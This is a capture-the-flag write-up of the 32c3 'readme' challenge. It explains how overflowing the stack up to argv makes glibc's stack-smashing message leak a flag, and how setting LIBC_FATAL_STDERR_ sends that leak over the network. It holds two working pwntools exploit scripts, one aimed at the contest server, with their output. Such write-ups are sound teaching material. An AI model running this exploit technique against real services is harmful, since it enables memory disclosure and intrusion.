32c3 Readme
04 Jan 2016This is a write-up of the readme challenge from the 32c3 CTF
The Challenge
This was a pwnable binary with with the flag baked into it, which you could see if you ran:
$ strings readme.bin | grep 32C3
32C3_TheServerHasTheFlagHere...
The flag is located at 0x600d20
in the .data
section.
The challenge was very simple, it was a service witch gets
your name onto the stack,
and then it asks you to over write the flag at 0x600d20
The Solution
First of all the flag is mapped into memory twice, because of how elf works it is also located in read-only memory at 0x400d20
but only the flag in the .data
section gets overwritten.
So locally we could get it printed simply by smashing our stack all the way upto argv
,
and then let _stack_chk_fail
print it for us.
from pwn import *
flag_addr = 0x400d20
r = process("./readme.bin")
r.recvuntil("What's your name? ")
r.sendline(p64(flag_addr)*80)
r.sendline("THIS OVERWRITES THE FLAG")
r.recvuntil("*** stack smashing detected ***: ")
log.info("The flag is: %s" % r.recvuntil(" ").strip())
which prints when executed:
$ python doit.py
[+] Starting program './readme.bin': Done
[*] The flag is: 32C3_TheServerHasTheFlagHere...
[*] Program './readme.bin' stopped with exit code -6
however this does not work remotely, this is becuase _stack_chk_fail
calls __fortify_fail
which calls __lib_message
which does this:
void
__libc_message (int do_abort, const char *fmt, ...)
{
va_list ap;
int fd = -1;
va_start (ap, fmt);
/* Open a descriptor for /dev/tty unless the user explicitly
requests errors on standard error. */
const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
if (on_2 == NULL || *on_2 == '\0')
fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
if (fd == -1)
fd = STDERR_FILENO;
// then prints stuff and crashes
}
which means that we only need to set LIBC_FATAL_STDERR_
and the flag will get printed over stderr
instead of /dev/tty
.
So this is the final exploit:
from pwn import *
env_addr = 0x600d20
flag_addr = 0x400d20
r = remote("136.243.194.62", 1024)
r.recvuntil("What's your name? ")
r.sendline(p64(flag_addr)*80 + p64(env_addr)*20)
r.sendline("LIBC_FATAL_STDERR_=1")
r.recvuntil("*** stack smashing detected ***: ")
log.info("The flag is: %s" % r.recvuntil(" ").strip())
and we then finally have the flag:
$ python doit.py
[+] Opening connection to 136.243.194.62 on port 1024: Done
[*] The flag is: 32C3_ELF_caN_b3_pre7ty_we!rd...
[*] Closed connection to 136.243.194.62 port 1024